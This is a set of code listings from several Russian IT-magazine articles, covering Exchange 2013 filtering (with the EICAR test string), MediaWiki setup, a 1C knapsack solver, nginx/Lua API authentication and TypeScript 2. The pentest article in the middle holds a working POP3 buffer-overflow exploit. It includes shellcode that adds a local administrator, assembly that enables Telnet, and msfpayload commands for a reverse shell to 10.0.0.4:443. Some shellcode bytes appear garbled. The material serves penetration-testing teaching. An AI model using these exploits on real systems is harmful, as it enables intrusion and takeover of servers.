Модификация и фильтрация передаваемых сообщений Exchange Server 2013 Александр Пичкасов Листинг 1 #Получение имени корневого домена $ad0=(Get-AcceptedDomain)[0] #Загрузка оснастки управления антивирусным агентом Add-PSSnapin -Name Microsoft.Forefront.Filtering.Management.PowerShell #Настройка прокси-сервера для загрузки обновлений #(имя и номер порта указаны для примера) Set-ProxySettings -Enabled $true -Server proxy.$ad0 -Port 8080 #Включение антивирусной защиты & "C:\Program Files\Microsoft\Exchange Server\V15\Scripts\Enable-AntimalwareScanning.ps1" #Для вступления изменений в силу требуется перезагрузка #транспортной службы Restart-Service MSExchangeTransport #Запрос информации о состоянии обновлений Get-EngineUpdateInformation Листинг 2 $mbx1 = (Get-MailboxServer)[0] $mbx2 = (Get-MailboxServer)[1] $mdb1mbx1 = (Get-MailboxDatabase -Server $mbx1)[0] $mdb1mbx2 = (Get-MailboxDatabase -Server $mbx2)[0] $ad0=(Get-AcceptedDomain)[0] $pass = ConvertTo-SecureString 'Pa$$w0rd' –AsPlainText –Force #Создание почтовых ящиков на разных серверах New-Mailbox -Name "Alberto" -LastName "Serra" -Database $mdb1mbx1 -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Alberto Serra" -Alias alberto -UserPrincipalName "alberto@$ad0" New-Mailbox -Name "Augusto" -LastName "Cavalli" -Database $mdb1mbx2 -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Augusto Cavalli" -Alias augusto -UserPrincipalName "augusto@$ad0" Листинг 3 #Создание группы получателей для применения политики New-DistributionGroup -Name Finance -Members augusto,alberto #Создание политики фильтрации вредоносных программ $filterpolicy = (New-MalwareFilterPolicy -Name "Finance Malware Filter Policy" -Action DeleteAttachmentAndUseDefaultAlertText -EnableExternalSenderNotifications $true -EnableInternalSenderNotifications $true -EnableInternalSenderAdminNotifications $true -InternalSenderAdminAddress administrator@$ad0).name #Создание правила фильтрации сообщений для политики New-MalwareFilterRule -Name "Finance Malware Filter Rule" -MalwareFilterPolicy $filterpolicy -SentToMemberOf Finance #Создание тестового файла ‘X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*’ > c:\eicar.txt #Отправка тестового сообщения с вложением EICAR Send-MailMessage -from alberto@$ad0 -to augusto@$ad0 -Subject "Test malware message" -SmtpServer localhost -Body (Get-Content C:\eicar.txt) #Запрос данных трассировки передачи сообщений за последние #3 минуты, за исключением системных Get-TransportService | Get-MessageTrackingLog -Start (get-date).addminutes(-3) | ? {$_.sender -notlike "*health*" -and $_.sender -notlike "*proxy*" -and $_.sender -notlike "*probe*"} | sort timestamp | ft -a Листинг 4 #Установка агентов фильтрации нежелательной почты & 'C:\Program Files\Microsoft\Exchange Server\V15\Scripts\install-AntispamAgents.ps1' #Изменения требуют рестартовать службу транспорта Restart-Service MSExchangeTransport #Запрос данных обновленной конфигурации Get-TransportAgent #Задание адресов внутренних SMTP-серверов, IP-адреса указаны для примера Set-TransportConfig -InternalSMTPServers @{Add="192.168.60.21","192.168.60.22"} #Включение и задание параметров фильтра отправителей Set-SenderFilterConfig -Action StampStatus -BlankSenderBlockingEnabled $true -BlockedDomainsAndSubdomains @{add="wikedspamer.org"} -RecipientBlockedSenderAction Reject #Включение и настройка фильтра по идентификатору отправителя Set-SenderIdConfig -BypassedRecipients @{Add="postmaster@$ad0"} -SpoofedDomainAction StampStatus -TempErrorAction StampStatus #Включение и настройка фильтра по содержимому Set-ContentFilterConfig -BypassedRecipients @{Add="postmaster@$ad0"} -Enabled $true -SCLDeleteEnabled $false -SCLQuarantineEnabled $false -SCLRejectEnabled $false #Задание порогового значения нежелательной почты для почтовых ящиков Set-OrganizationConfig –SCLJunkThreshold 6 #Включение и настройка фильтра на основе репутации отправителя Set-SenderReputationConfig -SenderBlockingEnabled $false #Включение и настройка фильтра получателей Set-RecipientFilterConfig -BlockListEnabled $true -BlockedRecipients finance@$ad0 Листинг 5 #Создание правила, блокирующего исполнимые вложения New-TransportRule -Name "Block executable attachments" -AttachmentHasExecutableContent $true -RejectMessageReasonText "We don't accept executable attachments" -StopRuleProcessing $true -RuleErrorAction Defer -Priority 0 -Mode Enforce #Создание правила, помечающего сообщения с архивированными вложениями значением 7 индекса SCL New-TransportRule -Name "Mark zipped attachment as junk mail" -AttachmentExtensionMatchesWords "zip","rar", "tar","lzh","gz","bz" -SetSCL 7 -StopRuleProcessing $true -RuleErrorAction Defer -Priority 1 -Mode Enforce #Создание правила, отправляющего на утверждение сообщения с неподдерживаемыми вложениями New-TransportRule -Name "Moderate unsupported attachments" -AttachmentIsUnsupported $true -ModerateMessageByUser administrator@$ad0 -RuleErrorAction Defer -StopRuleProcessing $true -Priority 2 -Mode Enforce #Создание тестовых файлов вложений fsutil file createnew c:\attach.zip 50000 fsutil file createnew c:\attach.bin 50000 #Отправка тестовых сообщений Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer localhost -Port 25 -Subject "Test executable attachment" -Attachments C:\Windows\notepad.exe Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer localhost -Port 25 -Subject "Test zipped attachment" -Attachments C:\attach.zip Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer localhost -Port 25 -Subject "Test unsupported attachment" -Attachments C:\attach.bin Листинг 6 #Выбор шаблона для создания политики $dlptmpl = (Get-DlpPolicyTemplate | ? {$_.name -like "*pci*"}).name #Создание политики DLP на основе выбранного шаблона $dlp = (New-DlpPolicy -Template $dlptmpl -Name "Policy PCI DSS" -Mode AuditAndNotify).name #Экспорт выбранной политики в файл $file = Export-DlpPolicyCollection –Identity $dlp Set-Content -Path "C:\Policy PCI DSS.xml" -Value $file.FileData -Encoding Byte #Удаление существующей политики Remove-DlpPolicy -Identity $dlp -Confirm:$false #Создание новой политики на основе собственного шаблона $filedata = [Byte[]](Get-Content -Encoding Byte -Path "C:\Custom DLP Template.xml" -ReadCount 0) New-DlpPolicy -TemplateData $filedata -Name "Modifyed PCI DSS" Листинг 7 #Установка запроса утверждения для группы рассылки Set-DistributionGroup Finance -ModeratedBy administrator@$ad0 -ModerationEnabled $true #Отправка тестового сообщения Send-MailMessage -From alberto@$ad0 -To finance@$ad0 -SmtpServer arcticmail -Port 25 -Subject "Test moderated finance group #Задание ограничений приема сообщений, «белый» список Set-Mailbox alberto -AcceptMessagesOnlyFrom augusto #Задание ограничений приема сообщений, «черный» список Set-Mailbox augusto -RejectMessagesFromSendersOrMembers alberto #Отправка тестовых сообщений Send-MailMessage -From augusto@$ad0 -To alberto@$ad0 -SmtpServer arcticmail -Port 25 -Subject "Test white list" Send-MailMessage -From alberto@$ad0 -To augusto@$ad0 -SmtpServer arcticmail -Port 25 -Subject "Test black list" ----------------------------------------------------------------------------------------- Создание сайта вики-семейства. Википедия по своим правилам. Пошаговая инструкция. Шаг 3 Павел Малахов RewriteEngine On RewriteCond %{HTTP_HOST} (www\.)?en\.mywiki\.org$ RewriteCond %{REQUEST_URI} !^(/)?en/ RewriteRule ^(.*)$ en/$1 RewriteCond %{HTTP_HOST} (www\.)?ru\.mywiki\.org$ RewriteCond %{REQUEST_URI} !^(/)?ru/ RewriteRule ^(.*)$ ru/$1 RewriteCond %{HTTP_HOST} (www\.)?ta\.mywiki\.org$ RewriteCond %{REQUEST_URI} !^(/)?ta/ RewriteRule ^(.*)$ ta/$1 $ ln -s ../w w $wgUploadNavigationUrl = 'http://ru.mywiki.org/main/Special:Upload'; $wgUploadDirectory = "/home/user/site1/w/ru". $wgUploadPath; $wgSharedPrefix = 'w_ru_main__'; LS_common_ru.php: > $dest/LocalSettings.php $ new_wiki.sh main $ new_wiki.sh buh $ new_wiki.sh managers $ new_wiki.sh main $ new_wiki.sh it * Разделы ** mw-ru-main:|Главный ** mw-ru-chief:|Руководство ** mw-ru-buh:|Бухгалтерия ** mw-ru-managers:|Менеджеры ** mw-ru-it:|ИТ ** mw-en-main:|США ** mw-en-buh:|США бухгалтерия ** mw-en-managers:|США менеджеры ** mw-ta-main:|Индия ** mw-ta-it:|Индия ИТ {{mw-ru-main:Семейство}} class Names { public static $names = [ 'mw-ru-main' => 'Рус. Главная', # Разделы на русском 'mw-en-main' => 'Анг. Главная', # Разделы на английском 'mw-ta-main' => 'Там. Главная', # Разделы на тамильском 'aa' => 'Qafár af', # Afar 'ab' => 'Аҧсшәа', # Abkhaz Исходники в [[:mw-en-main:Source code | англоязычном разделе]]. Исходники в [[mw-en-main:Source code | англоязычном разделе]]. $ wget https://extdist.wmflabs.org/dist/extensions/CharInsert-REL1_27-1664cd0.tar.gz wfLoadExtension( 'CharInsert' );
Быстрая вставка: [[+]] [[|+]] {{+}} #перенаправление [[+]] [[Категория: +]] + [[Файл:+]] Форматирование текста:
+
+ + + + [[:Категория:Шаблоны | Шаблоны]]: {{mw-ru-main:Семейство}} {{raw:mw-ru-main::MediaWiki:Edittools}} ----------------------------------------------------------------------------------------- Проводим пентест. Часть 6. Пишем эксплоит Андрей Бирюков .586p ; защищенный режим .model flat,stdcall ;плоская модель памяти (код и данные используют одно ;и то же адресное пространство). SW_HIDE = 1 ; окно скрыто extrn _WinExec@8:PROC ;подключаем внешнюю функцию ОС WinExec extrn _ExitProcess@4:PROC ; корректное завершение работы программы c ExitProcess .data ; сегмент данных CmdCommand db ' sc config tlntsvr start= auto',0 ; выполняемая команда .code ; сегмент кода start: call _WinExec@8, offset CmdCommand, SW_HIDE ; вызываем выполнение команды в невидимом окне call _ExitProcess@4, 0 ; процедура выхода end start C:\shellcode>arwin kernel32.dll WinExec C:\shellcode>arwin kernel32.dll ExitProcess .586p .model flat .code start: xor eax,eax ; обнуляем регистр eax jmp short GtSt ; совершаем безусловный переход retv: ; метка pop ecx ; извлекаем содержимое стека в регистр ecx mov eax,1 ; загрузим в eax 1 (SW_SHOW) push eax ; push 1 push ecx ; в ecx адрес db "calc.exe" mov eax,77E4FD60h ;адрес вызова WinExec call eax ; вызываем WinExec mov eax,77e59863h ; адрес вызова ExitProcess call eax ; вызываем ExitProcess GtSt: ; метка call retv ; вызов метки retv db "sc config tlntsvr start= auto" ; выполняемая строка end start tasm32 /mx /m3 /z /q exploit.asm tlink32 -x /Tpe /aa /c exploit,exploit,, import32.lib Editbin.exe /SECTION:CODE,w exploit.exe msfconsole use payload/generic/custom set PAYLOADFILE /путь_к_файлу/exploit.exe generate Листинг 1. Код скрипта для поиска bad characters #!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer="A"*2606+"B"*4 + badchars try: print "\nSending evil buffer..." s.connect((IP_address,110)) data=s.recv(1024) s.send('USER username'+'\r\n') data = s.recv(1024) s.send('PASS'+buffer+'\r\n') s.close() print "\nDone!" except: print "Could not connect to POP3!" … retv: pop ecx mov al, 1 ; удаляем нулевой байт push eax push ecx mov eax,77E4FD60h … # /usr/share/metasploit-framework/tools/nasm_shell.rb nasm> jmp esp Листинг 2. Код получившегося эксплоита #!/usr/bin/python Import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) shellcode = (\x93\x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\ xb8\x60\xfd\xe4\x77\xff\xd0\xb8\x63\x98\xe5\x77\xff\xd0\xe8\ xe7\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\ x6e\x65\x74\x20\x75\x73\x65\x72\x20\x30\x78\x20\x70\x73\x20\ x2f\x41\x44\x44\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\ x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\ x72\x61\x74\x6f\xb0\x01\x44\x44\x20\x30\x78\x4e\x94 ) buffer="A"*2606+x94 \x8f\x35\x4a\x5f\x94 + "\x90"*8 + shellcode try: print "\nSending evil buffer..." s.connect((IP_address,110)) data=s.recv(1024) s.send('USER username'+'\r\n') data = s.recv(1024) s.send('PASS'+buffer+'\r\n') s.close() print "\nDone!" except: print "Could not connect to POP3!" # msfpayload -l # msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 C # msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 R | msfencode -b "\x00\x0a\x0d" Листинг 3. Код итогового эксплоита #!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) shellcode = ("\xbb\xdc\x@e\x23\x1c\xd9\xed\xd9\x74\x24\xf4\ x5f\x33\xc9\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x@3\x5f\x10\x3e\ xfb\xdf\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\ x49\x78\xc2\x85\x22\x2c\xf7\x1e\x46\xf9\xf8\x97\xec\xdf\x37\ x27\xc1\xdf\x94\xeb\x40\x9c\xe6\x3f\xa2\x9d\x28\x32\xa3\xda\ x55\xbd\xf1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec\x8d\x7e\ x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b\x46\x9d\x8d\ x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xb1\xd9\x52\x5f\x8c\xd5\ x5e\x9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed\xf0\x5b\x9a\x78\xe5\ xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2\x0b\xcb\xc1\x16\x8d\x18\ x7a\x22\x06\x9f\xad\xa2\x5c\xbb\x69\xee\x07\xa2\x28\x4a\xe9\ xdb\x2b\x32\x56\x79\x27\xd1\x83\xfb\x6a\xbe\x60\x31\x95\x3e\ xef\x42\xe6\x0c\xb0\xf8\x60\x3d\x39\x26\x76\x42\x10\x9e\xe8\ xbd\x9b\xde\x21\x7a\xcf\x8e\x59\xab\x70\x45\x9a\x54\xa5\xc9\ xca\xfa\x16\xa9\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9e\x4f\ xb6\x4d\x2b\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\ x8a\x49\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9a\xc9\x51\xa2\ x86\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0\ x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed\xb1\ xcb\xa5\x47\x70\xa5\x7f\x3b\xda\x21\xf9\x77\xdd\x37\x06\x52\ xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c\x04\x48\x2d\ x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c\x5a\x75\x2a\x74\ x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f\x91\x10\xc8\x60\xb0") buffer="A"*2606+x94 \x8f\x35\x4a\x5f + "\x90"*8 + shellcode try: print "\nSending evil buffer..." s.connect((IP_address,110)) data=s.recv(1024) s.send('USER username'+'\r\n') data = s.recv(1024) s.send('PASS'+buffer+'\r\n') s.close() print "\nDone!" except: print "Could not connect to POP3!" ----------------------------------------------------------------------------------------- Разработка обработки для решения классической задачи об укладке ранца Кирилл Ткаченко Листинг 1. Реализация решения задачи // Начинается секция исходного кода для описания процедуры. &НаКлиенте Процедура Рассчитать(Команда) // Задаются имена объявляемых переменных, в которых: Перем nПр; // хранится максимальное количество предметов Перем mВмест; // хранится максимальная вместимость Перем iПр; // хранится номер текущего рассматриваемого предмета Перем jВмест; // хранится текущая вместимость Перем Веса; // хранятся веса предметов Перем Ценности; // хранятся ценности предметов Перем Рез; // хранится список предметов – решение задачи Перем ДП; // хранится двумерный массив ценностей для организации динамического программирования // Создаются массивы Веса = Новый Массив(); Ценности = Новый Массив(); Рез = Новый Массив(); // Выполняется получение количества строк в таблице исходных данных nПр = ИсходныеДанные.Количество(); mВмест = Число(Вместимость); // Выполняется проход по каждой строке матрицы с исходными данными Для Каждого Стр Из ИсходныеДанные Цикл // В конец массива добавляется элемент. Веса.Добавить(Число(Стр.Вес)); Ценности.Добавить(Число(Стр.Ценность)); КонецЦикла; // Обнуляются элементы массива ДП ДП = Новый Массив(nПр + 1, mВмест + 1); Для iПр = 0 По nПр Цикл Для jВмест = 0 По mВмест Цикл ДП[iПр][jВмест] = 0; КонецЦикла; КонецЦикла; // Подзадачи рассматриваются в порядке возрастания номера предмета Для iПр = 1 По nПр Цикл // Подзадачи рассматриваются в порядке возрастания вместимости Для jВмест = 1 По mВмест Цикл // Предмет с номером iПр не помещается в ранец Если Веса[iПр - 1] > jВмест Тогда // Значение в ячейке ДП соответствует значению на строку выше ДП[iПр][jВмест] = ДП[iПр - 1][jВмест]; // Предмет с номером iПр помещается в ранец Иначе // Предмет помещается или не помещается, в зависимости от ценности. ДП[iПр][jВмест] = Макс(ДП[iПр - 1][jВмест], ДП[iПр - 1][jВмест - Веса[iПр - 1]] + Ценности[iПр - 1]); КонецЕсли; КонецЦикла; КонецЦикла; // Начиная с максимальной вместимости. jВмест = mВмест; // Начиная с номера наибольшего предмета. iПр = nПр; // Для всех предметов Пока iПр > 0 Цикл // Если предмет положен в ранец. Если ДП[iПр][jВмест] <> ДП[iПр - 1][jВмест] Тогда Рез.Добавить(iПр); jВмест = jВмест - Веса[iПр - 1]; КонецЕсли; // На следующий предмет. iПр = iПр - 1; КонецЦикла; // Загружается список значений на основе переданного массива, прежние элементы удаляются. ВыбранныеПредметы.ЗагрузитьЗначения(Рез); // Выполняется сортировка элементов списка значений в порядке возрастания. ВыбранныеПредметы.СортироватьПоЗначению(); КонецПроцедуры ----------------------------------------------------------------------------------------- Прозрачная защита микросервисов. Как защитить API и создать функциональность для REST API Александр Календарев $lua >x = "Hello World!" >print(x) x = "Hello World!" print(x) $lua foo.lua $lua > x=0 > for i =1,5 do >> x = x+i >> end > print(x) >function factorial(n) >> local x = 1 >> for i = 2, n do >> x = x * i >> end >> return x >> end > x = factorial(5) > print(x) $lua > mymodule = require "mymodule" -- вызываем foo() из модуля "mymodule" > mymodule.foo > tab = {1,3} > print(tab) > print(tab[0]) > print(tab[1]) > print(tab[3]) > print(tab[2]) > point = {x=20,y=30} > print(point) > print(point['x']) > print(point['y']) $ luajit > point = { x = 10, y = 20 } > print(point.x) luajit -bg foo.lua foo.o -- компиляция библиотеки foo: $lua > require "foo" -- загрузка библиотеки $ sudo apt install lua,luajit $ git clone https://github.com/nginx/nginx.git $ git clone https://github.com/openresty/lua-nginx-module.git $ cd nginx $ ./auto/configure $ make $ sudo make install export LUAJIT_LIB=/usr/lib/x86_64-linux-gnu/ export LUAJIT_INC=/usr/include/luajit-2.0 ./auto/configure --with-stream --with-ld-opt="-Wl,-rpath,/usr/lib/x86_64-linux-gnu/" --add-module=../lua-nginx-module --add-module=../echo-nginx-module --add-module=../ngx_devel_kit location /test { default_type 'text/plain'; content_by_lua 'ngx.say("Hello World!")'; } $ curl http://localhost/test location /test { default_type 'text/plain'; content_by_lua_block { if (ngx.var.user_id) ngx.say(ngx.var.user_id) end } } worker_processes 1; daemon off; $curl http://localhost/test?user_id=123 nginx.conf: location /test { default_type 'text/plain'; content_by_lua_file /path/to/foo.lua } foo.lua: local args,err = ngx.req.get_uri_args() if not args then ngx.say("failed to get args: ", err) return end for key, val in pairs(args) do ngx.say(key, ": ", val) end $curl 'http://localhost/foo?vv=12312&d=4' nginx.conf: location /foo { default_type 'text/plain'; # необходимо указать размер client_max_body_size 50k; client_body_buffer_size 50k; content_by_lua_file /home/akalend/projects/test/ngx-lua/step1.lua; } step1.lua: ngx.req.read_body() local key = '12345' local body = ngx.req.get_body_data() if body then ngx.say( ngx.md5(body .. key )) end $ curl -d 'data' http://localhost/foo Authorization: Token <значение хеша> local h = ngx.req.get_headers() local token = h.Authorization md_hash = token:match("([^Token ].+)") ngx.say(md_hash) $ curl -d 'data' -H 'Authorization: Token 96948dd29dfbcee7cb65aeef1280df59 ' http://localhost/foo local data = body .. key if (ngx.md5(data) ~= md_hash) then ngx.say("Access denied") return end ngx.say("Ok") content_by_lua_file access_by_lua_file ngx.say("Access denied") ngx.say("Access denied") location /api { default_type 'text/plain'; client_max_body_size 50k; client_body_buffer_size 50k; access_by_lua_file /path/to/access.lua; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass 127.0.0.1:9000; include fastcgi_params; fastcgi_param USER $user; fastcgi_param DOCUMENT_ROOT /path/to/www/dir; fastcgi_param SCRIPT_FILENAME /path/to/www/dir/index.php; fastcgi_index index.php; } if (ngx.req.get_method() = "POST" then ngx.say("POST") return end ngx.say("GET") if (ngx.req.get_method() = "GET" or ↵ ngx.req.get_method() = "DELETE" then local query_string = ngx.var.uri .. '?' .. ngx.var.args .. key if md_hash == ngx.md5(query_string) then ngx.say("Authorization:\tOk") return end ngx.say("Authorization:\tFalse") return end $ curl -H 'Authorization: Token 4ed419548859553949df53ff4df45102' http://localhost/test?ddd=3 $ curl -H 'Authorization: Token 4ed419548859553949df53ff4df45102' http://localhost/test?ddd=4 $ curl -X DELETE -H 'Authorization: Token 96948dd29dfbcee7cb65aeef1280df59' http://localhost/test/123 location ~ ^/api/(\w+) default_type 'text/plain'; set $key = '123'; set $user_id $1; access_by_lua_file /path/to/access.lua; ... } http { lua_shared_dict keys 10m; server { location /init-key { content_by_lua ' local dogs = ngx.shared.keys keys:set("user_1", 1) keys:set("user_2", 2) keys:set("user_3", 3) ngx.say("STORED") '; } location / { content_by_lua ' local keys = ngx.shared.keys if keys then ngx.say("user:",keys:get("user_1")) end ' } } } location ~ ^/api/info/(\w+) { set $user_id $1; access_by_lua_file /path/to/access.lua; ... } local h = ngx.req.get_headers() ... md_hash = token:match("([^Token ].+)") local cjson = require("cjson") ngx.req.read_body() local body = ngx.req.get_body_data() -- Для {"user_id" :123, some : data, ...} body_object = cjson.decode(body) if body_object == nil then ngx.exit(ngx.HTTP_FORBIDDEN) end local user_id = body_object.user_id if ~ user_id then ngx.exit(ngx.HTTP_FORBIDDEN) end -- Получаем ключ из общей памяти local key = keys:get(user_id) if ~ key then ngx.exit(ngx.HTTP_FORBIDDEN) end if md_hash ~= ngx.md5(body .. key) then ngx.exit(ngx.HTTP_FORBIDDEN) end return -- счетчик в общей памяти +1 local counter = counters:incr(user_id,1,0) -- nginx.conf: set $max_calls_api 25000; if counter > ngx.var.max_calls_api then ngx.exit(ngx.HTTP_FORBIDDEN) end locaton /flush { deny all; // разрешаем только с локального IP allow 127.0.0.1; // чистим общую память content_by_lua 'ngx.shared.counters.flush_all()'; echo "Ok"; } curl http://127.0.0.1/flush ----------------------------------------------------------------------------------------- Что нового в TypeScript 2 Александр Майоров npm i -g typescript let x: number; let y: number | undefined; let z: number | null | undefined; let x: number; let y: number | null; let z: number | undefined; // x: number | undefined // x: number | undefined declare function f(x: number): string; let x: number | null | undefined; if (x) { f(x); // Ок, у x тип number } else { // Ошибка, у x тип number? (по сути number|null|undefined) f(x); } // У a тип string let a = x != null ? f(x) : ""; // У b тип string? (по сути string|null|undefined) let b = x && f(x); x != null x === undefined interface Options { location?: { x?: number; y?: number; }; } function foo(options?: Options) { if (options && options.location && options.location.x) const x = options.location.x; } let x = null; function validateEntity(e: Entity?) { // Бросить исключение, если у e значение null или недопустимый Entity } function processEntity(e: Entity?) { validateEntity(e); let s = e!.name; } type Digit = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9; let nums: Digit[] = [2, 4, 8]; // Ошибка! 32 не входит в тип 'Digit'! nums.push(32); function error(message: string): never { throw new Error(message); } function fail() { // :never return error("Failed"); } function infiniteLoop(): never { while (true); } interface Point { readonly x: number; readonly y: number; } var p1: Point = { x: 10, y: 20 }; p1.x = 5; // Error! class Foo { readonly a = 1; readonly b: string; constructor() { this.b = "hello"; // Ok } } function foo(this: void) { // Использование this в теле функции приведет к ошибке } class Foo{ a: number; b?: number; c() { return 1 } d?() { return 2 } f?(): number; // Тело может быть опущено } class Singleton { private static instance: Singleton; private constructor() { } static getInstance() { if (!Singleton.instance) Singleton.instance = new Singleton; return Singleton.instance; } } let Obj1 = new Singleton(); // Error! let Obj2 = Singleton.getInstance(); // Ok abstract class Base { abstract name: string; abstract get value(); abstract set value(v: number); } class Derived extends Base { name = "derived"; value = 1; } function httpService(path: string, headers: { [x: string]: string }) { } const headers = { "Content-Type": "application/x-www-form-urlencoded" }; httpService("", { "Content-Type": "application/x-www-form-urlencoded" }); // Ок // Раньше это вызвало бы ошибку компилятора, но сейчас – нет httpService("", headers); // declaration1.d.ts interface Foo { a?: string; } // declaration2.d.ts interface Foo { b?: string; c?: string; a?: string; // Ок } npm install --save @types/underscore -----------------------------------------------------------------------------------------